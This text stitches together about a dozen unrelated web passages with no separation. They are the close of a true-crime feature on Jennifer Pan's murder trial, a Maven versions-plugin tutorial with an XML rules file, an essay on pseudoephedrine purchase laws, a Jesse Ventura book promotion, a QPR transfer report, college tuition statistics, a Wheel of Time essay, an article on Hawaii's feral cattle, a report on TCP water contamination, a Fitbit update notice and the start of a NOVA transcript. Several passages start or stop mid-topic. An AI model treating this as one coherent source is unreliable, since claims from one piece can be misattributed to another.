On November 22, the police brought Jennifer in for a third interview. This one developed a different tone: the detective, William Goetz, said that he knew she was involved in the crime. He knew that she had lied to him, and said it was in her best interest to fess up. Jennifer, hunched over and sobbing, asked repeatedly, “But what happens to me?”
Over nearly four hours, Jennifer spun out an absurd explanation. She said the attack had been an elaborate plan to commit suicide gone horribly wrong. She had given up on life but couldn’t manage to kill herself, so she hired Homeboy, whose real name she claimed not to know, to do it for her. In September, however, her relationship with her father had suddenly improved, and she decided to call off the hit. But somehow wires got crossed, and the men ended up killing her parents instead of her. Police arrested Jennifer on the spot. In the spring of 2011, relying on analysis of cellphone calls and texts, they nabbed Daniel, Mylvaganam, Carty and Crawford, and charged all five with first-degree murder, attempted murder and conspiracy to commit murder.
The trial began on March 19, 2014, in Newmarket. It was expected to last six months but stretched for nearly 10. More than 50 witnesses testified and more than 200 exhibits were filed. Jennifer was on the stand for seven days, bobbing and weaving in a futile attempt to explain away the damning text messages with Crawford and Daniel and the calls with Mylvaganam, and desperately trying to convince the jury that while she had indeed ordered a hit on her father in August 2010, three months later she had wanted nothing of the sort.
Before the jury delivered the verdict, Jennifer appeared almost upbeat, playfully picking lint off her lawyer’s robes. When the guilty verdict was delivered, she showed no emotion, but once the press had left the courtroom, she wept, shaking uncontrollably. For the charge of first-degree murder, Jennifer received an automatic life sentence with no chance of parole for 25 years; for the attempted murder of her father, she received another sentence of life, to be served concurrently. Daniel, Mylvaganam and Crawford each received the same sentence. Carty’s lawyer fell ill during the trial, and his trial was postponed to early 2016. The judge granted two non-communication orders, one banning communication among the five defendants until Carty’s trial is complete, and a second between Jennifer and her family, at the latter’s request, effectively preventing Jennifer from speaking to her father or brother ever again. Her lawyer addressed the order in court. “Jennifer is open to communicating with her family if they wanted to,” he said.
Hann and Felix both wrote victim impact statements. “When I lost my wife, I lost my daughter at the same time,” Hann wrote. “I don’t feel like I have a family anymore. […] Some say I should feel lucky to be alive but I feel like I am dead too.” He is now unable to work due to his injuries. He suffers anxiety attacks, insomnia and, when he can sleep, nightmares. He is in constant pain and has given up gardening, working on his cars and listening to music, since none of those activities bring him joy anymore. He can’t bear to be in his house, so he lives with relatives nearby. Felix moved to the East Coast to find work with a private technology company and escape the stigma of being a member of the Pan family. He suffers from depression and has become closed off. Hann is desperate to sell the family home, but no one will buy it. At the end of his statement, Hann addressed Jennifer. “I hope my daughter Jennifer thinks about what has happened to her family and can become a good honest person someday.”
This was a difficult story for me to write. It’s complicated to report on a murder when you were once friends with the people involved. Late last year, I drove up to the correctional facility in Lindsay a few times to see Daniel. In the harsh, white, empty halls of the massive building, even separated from me by a large pane of Plexiglas, he still seemed so familiar—a little pudgy, happy, cracking jokes. His favourite colour was always orange, but he tugged on his bright pumpkin jumpsuit and said he’d cooled on the colour lately, then broke into a big laugh. He asked how I was doing, and I told him my parents had recently separated, and how it had been tough on me. He said that if he ever got out, he would give my dad relationship advice. I asked him if he ever wonders whether, if even little things had gone just slightly differently, he wouldn’t be in prison. He shook his head and said thinking like that could drive a person mad. He said the best thing for him was to focus on reality: that he was in jail, and he had to make the best of it. Daniel said he’d bonded with the Cantonese speakers in his block and was helping them adjust to life inside. When I asked him about the case, he clammed up, citing limitations set by his lawyer. He intends to appeal, as do Jennifer, Mylvaganam and Crawford. Presuming they lose, they’ll be eligible for parole in 2035. Jennifer will be 49, Daniel 50.
A number of questions linger. Was Jennifer mentally ill? A chemical imbalance would certainly make the ordeal easier to understand. But her lawyers didn’t attempt to present her as unfit to stand trial. That leaves a harder conclusion: that Jennifer was in complete control of her faculties. That she wanted Bich and Hann dead and put a plan into action to make it happen. That the guilt of years of her snowballing lies and the shame when it all came out drove her to murder.
It’s not that simple, though. I believe that on some level, Jennifer loved her parents. “I needed my family to be around me. I wanted them to accept me; I didn’t want to live alone […] I didn’t want them to abandon me either,” she said on the stand. She was hysterical on the phone when she called 911 and teared up in the courthouse while describing the sound of her parents being shot. Yet how do you believe a liar? Jennifer lied in all three statements she gave to police. Under oath, she was repeatedly caught in tiny half-truths.
In this blog post I will describe how to keep a Maven project up-to-date with the versions plugin. Using the versions plugin has a lot of benefits and configuring it takes less than an hour. So I suggest using it for all maven projects.
The maven goal that achieves this is:
[bash light=”true”]
mvn versions:display-dependency-updates
[/bash]
By default, it will generate a list on the command prompt of all your outdated dependencies. But it will contain false positives and to use it in a continuous integration environment, more configuration is required.
This example assumes a typical maven project, with a parent pom that configures all dependencies using the maven dependency management mechanism. The plugin configuration I used is:
[xml]
<plugin>
<groupId>org.codehaus.mojo</groupId>
<artifactId>versions-maven-plugin</artifactId>
<inherited>false</inherited>
<configuration>
<outputFile>outdated-dependencies.txt</outputFile>
<rulesUri>file:///${session.executionRootDirectory}/maven-version-rules.xml</rulesUri>
</configuration>
</plugin>
[/xml]
Here the
<outputFile> 1 & lt ; outputFile & gt ;
contains the file where the results are written to.
<inherited>false</inherited> 1 & lt ; inherited & gt ; false & lt ; / inherited & gt ;
stops the plugin from running on your child projects. If all your dependencies are defined in the parent pom this will only clutter the results.
The most interesting setting is the
<rulesUri> 1 & lt ; rulesUri & gt ;
tag. This tag refers to a file where you can make rules defining what is considered an update.
Sometimes the versions plugin suggests a dependency update that you do not want. Most projects only use stable libraries, and avoid various Alpha, Beta, Release Candidate and Milestone versions. There are also several odd version numbers out there, which mess up the plugin. For example, commons-collections has a version number 20031027.000000, released in 2005. You probably want version 3.2.2, released in 2015. However, the plugin will suggest 20031027.000000, because 20031027 is bigger than 3.
Finally, sometimes you do not want to update a dependency because of an incompatible API or because it is not worth the effort to upgrade.
To accommodate this, you need comparison rules. These are described in an XML file and tell the plugin what versions to pick. You can find the description here: http://www.mojohaus.org/versions-maven-plugin/rule.html.
For our project I used the following file:
[xml]
<?xml version="1.0" encoding="UTF-8"?>
<ruleset xmlns="http://mojo.codehaus.org/versions-maven-plugin/rule/2.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" comparisonMethod="maven" xsi:schemaLocation="http://mojo.codehaus.org/versions-maven-plugin/rule/2.0.0 http://mojo.codehaus.org/versions-maven-plugin/xsd/rule-2.0.0.xsd">
<ignoreVersions>
<!– Ignore Alpha’s, Beta’s, release candidates and milestones –>
<ignoreVersion type="regex">(?i).*Alpha(?:-?\d+)?</ignoreVersion>
<ignoreVersion type="regex">(?i).*Beta(?:-?\d+)?</ignoreVersion>
<ignoreVersion type="regex">(?i).*-B(?:-?\d+)?</ignoreVersion>
<ignoreVersion type="regex">(?i).*RC(?:-?\d+)?</ignoreVersion>
<ignoreVersion type="regex">(?i).*CR(?:-?\d+)?</ignoreVersion>
<ignoreVersion type="regex">(?i).*M(?:-?\d+)?</ignoreVersion>
</ignoreVersions>
<rules>
<!– Obvious mismatches –>
<rule groupId="commons-collections" artifactId="commons-collections">
<ignoreVersions>
<ignoreVersion type="regex">^200.*$</ignoreVersion>
</ignoreVersions>
</rule>
<rule groupId="commons-logging" artifactId="commons-logging">
<ignoreVersions>
<ignoreVersion>99.0-does-not-exist</ignoreVersion>
</ignoreVersions>
</rule>
<rule groupId="org.hamcrest">
<ignoreVersions>
<ignoreVersion>1.4-atlassian-1</ignoreVersion>
</ignoreVersions>
</rule>
<!– Version 5 of hibernate requires javax.validation 1.1.0. This is a new api and a lot of effort to upgrade –>
<rule groupId="org.hibernate" artifactId="hibernate-validator" comparisonMethod="maven">
<ignoreVersions>
<ignoreVersion type="regex">^5.*$</ignoreVersion>
</ignoreVersions>
</rule>
<rule groupId="javax.validation" artifactId="validation-api">
<ignoreVersions>
<ignoreVersion type="regex">1.1.0.Final</ignoreVersion>
</ignoreVersions>
</rule>
</rules>
</ruleset>
[/xml]
As you can see, I commented the choices I made when selecting versions:
I threw out all non-stable releases. I solved some odd versioning in commons-collections and commons-logging. I ignored the Atlassian specific version of Hamcrest. I also disabled Hibernate 5, because 4 works fine for us and we do not want to use the new API.
Note that this file is a very good place to document these dependency decisions.
You can now setup Jenkins to run this regularly (we run it once every Sunday) and mail the generated file
outdated-dependencies.txt 1 outdated - dependencies . txt
The rationing and criminalization of this product appeared as part of the Patriot Act. The replacement drug phenylephrine is far less effective on noses but more effective in Washington: the company that makes it, Boehringer Ingelheim, spent $1.6 million lobbying Washington in 2006 (the latest data) and the same amount the year before. The makers of the drug everyone actually wants are diffuse and spread all over China. Pseudoephedrine was targeted in the name of the drug war because apparently you can use it to make methamphetamine. Since the near ban, there are indications that production of the drug has gone up, mostly due to smuggling in Mexico. Even a quick google demonstrates that the gray market is thriving.
I've written with sympathy toward those who have been caught in the legal tangles; many buyers are not actually doing anything wrong. Anyone who attempts to buy it is treated like a criminal and one never knows for sure when one is buying more than the legal limit. In several cases I've highlighted, people have bought without the intent to manufacture drugs but were ensnared in any case. In other cases, people have been asked to buy for friends who may or may not have been plotting to make meth. Still other cases involve shady figures with criminal records and suspicious associations who are thereby discredited and hounded by police and judges.
In my view, every person who is ensnared deserves to be defended. Their rights are being violated. One lady in my own community faces 20 years in jail solely for buying 4 boxes in a 12-day period. News reports suggest that she is a bad person for many other reasons, and, for that reason, there has been little public sympathy for her — in the same way that people under alcohol prohibition were snagged on alcohol grounds even though the motivation for getting them was different (could be taxes or something else).
Something as serious as laws and jails should be used for punishment of those who infringe on person and property, not for self-medicating. If this lady is bad, she should be punished for things she did wrong, not for some trumped-up reason.
In any case, as with all stupid laws like this, the innocent are eventually harmed. It's strange how most people are willing to give the police and the courts the benefit of the doubt, and pretend as if the system somehow knows something that we do not know. Anyone hauled off to jail probably deserved what is coming to him, even if we don't know the specifics. People should do a better job at staying out of harm's way, of being beyond reproach. Don't play with fire and you won't get burned — this is how people tend to think of these cases.
They are blaming the victim. Somehow I suspect that the same sentiments were pervasive even in the worst totalitarian states. By the time people wake up to the reality that the law and the law enforcers are the problem, it is too late.
Just this morning the following email arrived:
In doing some internet research, I came across your article "Free the Clogged Nose-25" and I want to thank you for showing me that I'm no where near alone in my way of thinking and that the current situation that my husband and I find ourselves in is most certainly not uncommon. You see, we have 3 teenage children still living at home. In April of this year, their ages were 17, 16 and 15. Both my husband and I, along with our 3 teenagers suffer from terrible seasonal allergies and we have tried every over the counter medicine available as well as a few prescription meds. The only one that offers us any relief is Sudafed or the generic equivalent. So, as you already know, my husband and I are the only ones in our family who can buy Sudafed. I will and have been the first to admit that in order to keep enough of the medicine for all of us, both my husband and I made purchases from more than one drug store. I knew we were exceeding our allotted amount but I also knew that the code of Alabama stated that purchasing over the allowed 6 grams per month was only unlawful "with intent to manufacture." So, since we had no intent to manufacture anything, I didn't see it as we were breaking the law. In March of this year, local news media released word that a law was passed that would create a statewide database for all businesses selling pseudoephedrine so that customers could not bypass the limit by going from one pharmacy to another. That was the extent of the press release related to that new law. About the middle of May, my husband and I learned the hard way that they had conveniently left out a very important part of that new law when announcing it to the public. Apparently, "with intent to manufacture" had been dropped from the Alabama law regarding pseudoephedrine purchases. I'm sure you can easily guess the rest of the story. He and I were arrested for "buy/sale precursor chemicals" which on the first offense is a Class C Misdemeanor. My husband is a USMC veteran so he has a criminal record (bar fights, etc.) but never any drug charges. I have never had so much as a speeding ticket and I'm a criminal justice major in college. Even after explaining the situation to the judge and pointing out that we are law-abiding citizens just trying to offer some comfort to our kids during allergy season, the judge still found us guilty. We have appealed that decision and will go back to court in December. We cannot hope to beat this with just the truth because obviously the truth doesn't matter, so I am going to pray that "mistake of law" will get us a not-guilty verdict this time around … or I'm going to have to find a new major! At the time we were arrested, our oldest daughter (not living at home) was a 4.0 GPA college student majoring in forensic investigation, our middle daughter was just days away from graduating historian of her high-school senior class after already having lettered in softball and volleyball and serving as secretary in the Beta club, our youngest daughter was finishing her 10th-grade year and an A–B student who had just days before made the color guard drill team for the fall, and our son was finishing his 8th grade year, an A–B student and hard working Junior Varsity and Varsity football player. We are very very proud of our kids and hate the fact that they have had to endure any negative associations that have come from our arrest. They are so resilient, though! They know that we weren't actually doing anything wrong so they hold their heads up high and keep going.
As I suspected, these cases are not isolated. Thanks to Google News, we can learn of many such tragic cases. So far as we know, the majority of cases of arrest involve innocent people trying to unclog their noses. But even if only one in ten cases involve injustice, that is plenty of reason to repeal the law. I don't favor laws against consuming or producing meth, but, if those laws are retained, then it's the taking or making of meth that should be punished, not actions that merely seem vaguely associated with illegal activities.
Jesse Ventura sees conspiracies everywhere.
He came to national prominence as a wrestler nicknamed “The Body,” took a turn on the silver screen in Predator with Ah-nuld, and even went by “Governor” for a term.
Now he’s bidding for you and me to start thinking of him as “The Brain.”
Don’t get me wrong; Ventura hasn’t asked anyone to call him that—yet. But reading his new book, American Conspiracies, it’s clear he’s given considerable thought to the real story behind some of this country’s most nagging unsolved mysteries.
GOV. JESSE VENTURA podcast excerpt: “I took the side of the conspiracy. We brought out the facts; ultimately, it’s up to the reader to decide. It’s called ‘learning the truth.’ And if the truth causes panic, we’re in big trouble.”
Whether you believe what he believes or think he’s nuts, a reader of American Conspiracies can’t deny Ventura has thought out his positions on everything from the Kennedy assassinations and 9/11 to the world financial collapse we’re just starting to come out from under.
I should mention this is ground also covered in his new TV show, TruTV’s “Conspiracy Theory with Jesse Ventura,” every Wednesday at 10 p.m.
Not that Ventura is all drama and no fun these days. Anyone who’s caught him on the radio with Howard Stern knows he’s just as comfortable talking smack about Hulk Hogan and telling wild stories about his days as a Navy SEAL as he is discussing conspiracies.
Jesse Ventura Facebook • Jesse Ventura for President 2016 Petition • Order American Conspiracies from Amazon.com
Queens Park Rangers have completed the signing of defender Luke Young from Aston Villa for an undisclosed fee.
Young, 32, becomes the second signing at Loftus Road since Tony Fernandes completed his takeover of the club.
QPR boss Neil Warnock revealed after Saturday's 2-0 loss at Wigan that he hopes to bring in more players soon.
"Without any recruitments we'd be in trouble but we'll be looking to bring in four or five players at least in the next week," said Warnock.
The 62-year-old was delighted to sign Young, who has seven England caps.
He said: "I've been looking for a defender with vast Premier League experience for a while now and Luke certainly fits the bill.
"He can play anywhere across the back four and that versatility will stand us in really good stead.
"Moving back home to London will also serve him well and I'm really looking forward to seeing him in action for us - he's got so much to give and his experience will be vital."
Young told the QPR website: "There are big things that are going to happen at this football club and I am really pleased to be a part of it."
The versatile defender, who has signed a three-year deal, follows Joey Barton, who this week completed a move from Newcastle.
Young began his career at Tottenham, had spells with Charlton and Middlesbrough and played in Villa's first two Premier League games this season.
Myself and Joey [Barton] signing here shows the intent of the club Luke Young
He added: "I am ready for a new challenge.
"Myself and Joey signing here shows the intent of the club.
"I am really looking forward to getting started and pulling on the blue and white shirt."
Young joined Villa in 2008 from Middlesbrough for a reported fee of more than £2.5m.
Public four-year universities charged residents an average of $8,244, up 8.3% from last year, while public two-year schools charged an average of $2,963, up 8.7%, says the report by the non-profit College Board. About 80% of the nation's undergraduates attend public institutions.
That increase is more than double the inflation rate of 3.6% between July 2010 and July 2011. Family earnings dropped across all income levels. And state funding per student declined by 4% in 2010, the latest year available, and 23% over the past decade, the report says.
College costs Average estimated costs* for full-time undergraduates in 2011-12, before grant aid**: Public two-year commuter student: $15,286 Public four-year, in-state, lives on campus: $21,447 Public four-year, out-of-state, lives on campus: $33,973 Private non-profit four-year, lives on campus: $42,224 *Costs include tuition and fees, room and board, books and supplies, transportation and other expenses.
**About one-third of full-time undergraduates receive no grant aid. Source: College Board
Molly Corbett Broad, president of the American Council on Education, called the findings "sadly familiar," and said the drop in state support was particularly troubling. "It has become all too common for state legislatures to dip into the pockets of students and families to balance state budgets," she says.
The tuition and fee hike is not the worst of the decade — that occurred in 2004, when sticker prices rose 11% beyond inflation from the previous year.
The report says there may be some good news: a rise in federal student aid — including tax credits and deductions — is blunting the impact for most families. "At a time when students and families are ill-equipped to manage additional expenses, student financial aid is more important than ever," report author Sandy Baum says.
Net price — the published price minus grants and tax breaks — at public four-year colleges averaged $2,490, the report found.
About two-thirds of undergraduates receive grant aid, which averaged $6,539 last year. Average federal loans averaged $4,907. Borrowing by students and parents increased about 2% from 2009-10 to 2010-11.
I understand folks’ discomfort with the series’ nod, but somewhere in my heart of hearts I’m still the kid who got passed a copy of Eye of the World by a friend in Scouts, burned through the first few books in a month and waited desperately for more. I read The Shadow Rising in a single day. My Dad and I spotted the books on Buddhist scholar Robert Thurman’s library shelf during a recorded interview—I read them so often Dad could recognize these books out of focus by the color of their spines—and when I met Thurman in person I asked if he was a fan (he said they belonged to his wife—I wonder if his daughter, Uma Thurman, yes, that Uma Thurman, ever read them?). I wore out at least two copies of TEotW before my folks decided we should ditch the cover entirely and laminate the first and last pages and binding glue with packing tape. And while I bailed on the series after Winter’s Heart, I can’t ignore the WoT’s role in my development, alongside other treasures I don’t talk about as much on this site, like the Star Wars EU, Heroes Reborn Iron Man (and the subsequent twenty issues or so, until I lost the plot in some Marvel Uber Crossover Event or other), and the Fantasy Powers League.
Lots of people credit Jordan for the creation of the modern magic system, which may be fair—though I think you have to look a lot earlier than Jordan for that, and anyway his magic system, much as I love it, is a bit smoke and mirrors. Explain how balefire works with reference to the five-element system, please. Or Traveling, for that matter. Or Skimming. Jordan’s real genius in magic system development (and, I think, the key to making any sort of magic system work) was to present a system that looked complete but fuzzed out enough around the edges to allow speculation, and to let him keep surprising readers without seeming cheap. But honestly, the magic wasn’t what kept me reading for, gods, 10,000 pages.
The characters did that.
Jordan was shockingly (though unevenly) good at character design. By that I mean: I haven’t read a Wheel of Time book since college, and I can name—just did, actually, in another window—thirty-three separate Wheel of Time characters without breaking a sweat or reaching for Wikipedia. Thirty four. Thirty five. These characters aren’t just cyphers with names attached, either: almost all of them pass the Plinkett Test.
The Plinkett Test comes from an early scene in the hilarious and cutting Red Letter Media reviews of the Star Wars Prequels, in which kayfabe film reviewer-cum-world’s most horrible human Harry S. Plinkett challenges his friends to describe characters in Star Wars: The Phantom Menace without reference to either (a) physical description or (b) capabilities (like if they can jetski, or do wicked backflips while channeling the True Power or whatever). His friends, of course, fail miserably for The Phantom Menace—but breeze through the same challenge for characters from Star Wars: A New Hope.
And it’s amazing how many WoT characters pass this same Test: angst-ridden but fundamentally upstanding guy who always wondered what was over the horizon. Brash, cocky kid out to have a good time in spite of bad circumstances. Hard worker who would have been perfectly happy staying home. Bright-eyed but practical and eager for adventure. Furious, traditional, neurotic, repressed and fundamentally suspicious of the outside world. Stoic, weather-beaten, determined. Merry and sly, hiding dark secrets and deep tragedies. Wise and distant, always a few steps ahead. I could probably go several layers deep into minor characters without losing those of you in the audience who have read Jordan.
These summaries are simple and evocative—that’s why I said ‘character design’ before, not ‘characterization.’ Character design asks for elemental simplicity; characterization asks for complexity, for the fission and fusion of elements under pressure. Aaron Diaz of Dresden Codak has a great (and mildly NSFW) post about character design that everyone who writes, especially in genre, should read—he talks about how characters in comics should be distinguishable from one another even on the basic level of their component shapes, and how readers should be able to tell characters apart even while they (the characters, not the readers) are stark naked.
These concerns are just as important for writers as for artists; the shape-level differences in Diaz become differences in voice—both the narrator’s and the character’s. The recognizable-while-naked angle is another version of the Plinkett Test, repurposed for visual design. Jordan’s characters endure due to their passage of the Plinkett Test—we could recognize them naked. (And we’re often asked to.)
Now, look, I’m not claiming Jordan is the Lord King God of All Literature. It’s been a long time since I last returned to Randland, while I can’t stay away from Damar, or Dunnett’s Scotland, or Zelazny’s worlds. The design of female WoT characters often gets blurry around the edges, and Jordan tends to repeat himself on a prose level (especially when it comes to character actions used in place of dialogue tags—instead of Marlowe’s cigarettes, Jordan had sniffs and braid pulls and arms crossed under breasts, the last of which I actually used once in Three Parts Dead as a not-so-subtle callout to The Wheel of Time)—and after book 6 the series did start to feel like it spun its wheels one too many times and I’m sure I’d see issues galore if I re-read the books starting with Eye—but…
Cows are the last animals you’d expect to turn in an invasive species, but the feral cattle of Hawaii are proving a little bit too resilient for officials to handle. There are currently thousands of wild cows roaming around the countryside and forests of the Big Island. While they are still easily recognizable as the domestic cattle you would find on a farm, over the years the animals have changed to better adapt to their environment. Compared to the average farm cow, wild cattle are smaller, faster, have longer legs and are much more tuned to survival in the wilderness. They are also much more aggressive.
“What could be more dangerous than putting yourself on a train track and waiting for a locomotive to come close to hitting you? A 1,000 plus pound Hawaii Vancouver wild bull!” touted Ahiu Hawaii, a guide service offering cattle hunts on the Big Island. “Imagine those ferocious eyes staring you down while he watches every twitch on your body and the only thing between you and him is your weapon and a few yards. Your heart is beating, you start to shake, and you just remembered you need to get a nice clean shot or both you and your guide will be in a lot of danger.”
The cattle have often been compared to feral pigs. Both animals are destructive, capable of great agricultural and ecological damage, and are dangerous to boot. Ahiu Hawaii organizes about 40 cattle hunts every year and treats each one similar to a cape buffalo hunt in Africa. Hunters are required to work in teams and the smallest rifle cartridge the guide service will accept is .300 Winchester Magnum.
“If they spot you first, they’ll definitely come for you,” manager and hunting guide Orion Enocencio told Modern Farmer.
How did wild cows come to Hawaii? The animals were originally brought to the Big Island by an English naval officer, Captain George Vancouver. In 1793, Vancouver presented four bulls and eight cows to the Hawaiian king Kamehameha I as a gift. Intrigued by the strange beasts, the king decided to create a hunting population and decreed that no hunter would touch the cows until there were enough for sustainable hunting.
The Hawaiians were unused to handling the large animals and the cows quickly escaped their pens and into the forests. The hunting ban continued for another three decades, and by the time it was overturned, it was already too late. Tens of thousands of feral cattle dominated Hawaiian forests. Occasionally the unchecked herds would stampede across farms and even injure or kill residents. It is believed that renowned biologist David Douglas—discoverer of the Douglas fir—was trampled to death by wild cows.
Something needed to be done.
Finally, in 1832 King Kamehameha III recruited vaqueros from Mexico to come and round up the wild cattle, beginning the tradition of the Hawaiian cowboy. These days the wild cows of Hawaii are considered a strange game species for any hunter enterprising enough to chase them. Hunting cattle is a lot different than hunting any member of the deer family. This is perhaps most noticeable in the sheer amount of meat you get after downing a cow. If you think packing out whitetail venison is hard enough, imagine dragging hundreds of pounds in beef out of the woods.
Edit 11-18-2015: Article revised to fix typos.
Is this something you would be interested in? Ahiu Hawaii gives a detailed rundown on bull hunting in the video below:
Image screenshot of video by ahiuhawaiidotcom on YouTube
A recent report from the Environmental Working Group (EWG) outlines how 1,2,3-trichloropropane (TCP), a carcinogenic ingredient found in pesticides sold by Shell and Dow Chemical, has been “detected in water systems serving more than 8 million Californians.” TCP is just one of a slew of contaminates in California drinking water forcing millions of people to choose between buying bottled water or risking exposure to dangerous chemicals. Reports like this EWG one have helped increase pressure from citizens and conservation groups, which has in turn spurred state legislators to take action, and a vote to place a legally enforceable Maximum Contaminant Level (MCL) for TCP is set for April 19th. This votes come as progressive states like California and New York, exasperated by Trump’s lackluster environmental policies, have begun to take environmental regulation into their own hands even more than in the past.
“There is little hope of action from the EPA on the national level.”
While the Environmental Protection Agency (EPA) has classified TCP as “likely to be carcinogenic to humans,” the toxin still isn’t regulated on the federal level. And even though TCP is on the EPA’s Contaminant Candidate List, which positions the chemical to be investigated and possibly regulated, federal regulation is unlikely to occur; “In theory the EPA uses this information [from the Contaminant Candidate list] to decide which chemicals to set regulations on,” explained Bill Walker, EWG’s managing editor and co-author of the report. “In practice, in 25 years, they’ve tested for more than 80 contaminants and only moved forward on one…so there is little hope of action from the EPA on the national level.”
Action from Scott Pruitt’s EPA is even less likely, as Trump’s proposed budget would slash EPA funds by 31%, gutting many programs that are important for enforcing clean water standards. That includes the EPA’s Integrated Risk Information System, which works to identify and characterize hazardous chemicals that pose risks of consumption by the public. Additionally, Trump has called for shrinking the EPA’s enforcement office, which would significantly diminish the EPA’s ability to prosecute any environmental violations. This is especially troubling given the fact that the EPA already rarely prosecutes violations; in 2015, the EPA took formal enforcement action against roughly 11% of the over 8,000 violations. Without an enforcement arm, it will likely be very difficult to enforce clean water standards.
This is even more concerning as data from the EPA shows that TCP contamination isn’t just a problem for California; TCP has been detected in the drinking water of 13 other states, including New York, Pennsylvania, and Florida.
While California prepares to regulate TCP, communities in the San Joaquin Valley have taken legal action against Shell and Dow, two companies that continued using TCP in their pesticides well into the 1980s even when the ill-effects were becoming known. Both companies have continued to deny wrongdoing, but, according to the EWG report, they “have paid multi-million dollar settlements” to cities located in San Joaquin Valley.
In an emailed statement, Shell defended the use of its pesticide, stating that TPC was “a trace component” in their soil fumigant, which itself was “a highly beneficial product used by farmers to control nematodes that attacked crops and caused millions of dollars a year of crop loss, and was approved by the U.S. government and the State of California.” The statements says that while Shell will not comment on past or pending lawsuits, the company “is vigorously defending the claims made against it in lawsuits initiated by water purveyors.”
“How many other hidden examples are there of chemical companies endangering communities through toxic deception?”
Although both Dow and Shell stopped using TCP in their pesticides in the 1980s, the chemical is still found in water systems in regions where the pesticides were widely used. Since 2001, California’s State Water Resource Control Board has detected 94 public water systems that have higher than acceptable levels of TCP. A majority of these contaminated water systems are found in California’s San Joaquin Valley, one of the most productive agricultural regions in the world.
“This is an outrageous story of how Shell and Dow essentially got farmers who bought the pesticide to pay to help them get rid of a hazardous waste,” said Walker, in a statement published by the EWG. “How many other hidden examples are there of chemical companies endangering communities through toxic deception? TCP is just one of the many unregulated contaminants that most Americans have no idea are in their tap water. In the face of the federal government’s abrogation of responsibility, states like California must step up to protect citizens.”
A long history of toxic waste
TCP first came onto the scene in the 1940s, when Dow and Shell began marketing two soil fumigants, D-D and Telone, to combat parasitic worms called nematodes. The active nematode killing ingredient in D-D- and Telone was 1-3 dichloropropene, which was a byproduct of the allyl chloride manufacturing process, a chemical used to create plastic. Dichloropropene itself is classified by the EPA as a “probable human carcinogen,” and there are restrictions on where and how it can be used. But the worst toxin in the soup of chemicals that made up D-D and Telone was TCP.
Like dichloropropene, TCP was an unwanted byproduct from the manufacturing of allyl chloride. But, unlike dichloropropene, TCP wasn’t the active ingredient in the pesticide, and could have been removed from D-D and Telone without reducing their effectiveness. However, both Shell and Dow claimed the opposite, that TCP was an active ingredient, and that removing it would diminish D-D and Telone’s effectiveness as a pesticide. Lawsuits against both companies claim that as early as the 1950s, both Shell and Dow knew that TCP wasn’t an active ingredient for the pesticide, and that TCP wouldn’t break down in soil, and could contaminate drinking water.
Still, the companies didn’t change their manufacturing process, likely because D-D and Telone were easy money makers; they allowed the toxic byproducts from the manufacturing of plastic to be sold for profit. A Shell internal memo from 1983 spells this out, stating that annual sales of D-D earned $6.3 million, while also netting “a savings of $3.2 [million] for cost avoidance for disposal in the allyl chloride operation,” leading to a total benefit of $9.5 million.
“It’s a tragedy that farmworkers bust their backs in the fields all day, are exposed to pesticides on the job and then, years down the road, find that their families are in danger from the same chemicals they use to make a living,” said Raul Barraza Jr., general manager of the Arvin Community Services District, the water provider for the city of Arvin, in an interview with the EWG. “This is a disadvantaged community and we try to keep the rates as low as possible, because you can’t live without water.”
Just how bad is TCP? In 2009, OEHHA set a public health goal for TCP for California’s drinking water of less than one part per trillion. This is the second lowest public health goal ever set by OEHHA, indicating the significant human health risks posed by TCP consumption. However, the public health goal is based on public health concerns, and isn’t a legally enforceable regulation. The National Toxicology Program has classified TCP as “reasonably anticipated to be a human carcinogen,” and a toxicologist from the California Office of Environmental Health Hazard Assessment (OEHHA) stated in a radio interview last year that “there is no absolutely no question that is a genotoxic carcinogen.”
“It’s a disgrace, but the great thing about this country is that you can fight back,” said Barraza to the EWG. “You can go to court. You can go to Sacramento or D.C. and say, ‘Hey, what are you going to do about this?” While some lawsuits have been settled, many communities in the Valley are waiting for their day in court. In the meantime, they continue to face the risks of TCP in their water.”
An update to the Fitbit Surge will arrive later this week with a handful of improvements that will better help the watch compete with running watches from Garmin and Polar.
The Surge is Fitbit's $250 smart fitness watch. In addition to measuring your steps, distance, calories burned and sleep, the watch is equipped with an optical heart-rate sensor and GPS for tracking pace, distance and speed when running or cycling. It also offers music control and is capable of displaying notifications for text messages and calls from your iPhone, Android or mobile phone device.
The update adds a new feature called Run Cues, which will provide automatic alerts when you reach a predetermined time or distance during a run. For example, at one mile you will now receive a notification with lap pace, distance traveled, number of laps and average heart rate. The Run Cues feature can be set to alert you based on the distance or elapsed time in the Fitbit app.
The battery life has also received a major boost. The Surge previously lasted only 5 hours with an active GPS signal and heart-rate sensor enabled. The update doubles battery life to 10 hours, which is comparable to the Garmin Forerunner 225. Fitbit will also be adding a timer and stopwatch to the watch.
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PBS Airdate: November 14, 2012
VERONICA MCGREGOR (Jet Propulsion Laboratory Spokesperson): I want to present to you the team that has brought us back to Mars tonight.
NARRATOR: On August 5, 2012, this team made history. They built NASA's largest, most complex rover and landed it, safely, on the surface of Mars. Their success rests on a decade of exacting research and testing. They pushed the limits of technology, and their gamble paid off.
JIM MONTGOMERY (Landing Radar Field Test Lead, Mars Science Laboratory): That's awesome!
NARRATOR: Now, a rover, named Curiosity, is seeking clues to the questions we've asked for ages: Did life ever take hold on Mars? Could it exist there now?
JOHN GROTZINGER (Chief Scientist, Mars Science Laboratory): Are we alone? I think it's the grandest of all scientific questions.
MER SCIENTISTS: Look at this!
NARRATOR: We've explored Mars before. Previous missions revealed a planet more dynamic than we ever imagined. Curiosity will launch a new age of discovery, driven by an enduring dream.
ADAM STELTZNER (Entry Descent and Landing Lead, Mars Science Laboratory): We go exploring, because we are curious creatures, human beings.
JAIME WAYDO (Mobility Lead, Mars Science Laboratory): We want to discover the unknown. Going to Mars is like the new frontier.
ROB MANNING (Chief Engineer, Mars Science Laboratory): This will be the most exciting adventure we've ever undertaken on Mars.
NARRATOR: This rover was created to unlock the secrets of the Red Planet. Its mission is the Ultimate Mars Challenge, up next, on NOVA.
The moment of truth is fast approaching for several hundred engineers and scientists at the Jet Propulsion Laboratory, in southern California. Eight months ago, this team launched a mission to Mars. In less than an hour, the spacecraft they designed and built will touch down safely or meet an inglorious end.
The odds are against them; most missions to Mars have failed. Tonight, careers and reputations are on the line. The future of America's space program may hang in the balance.
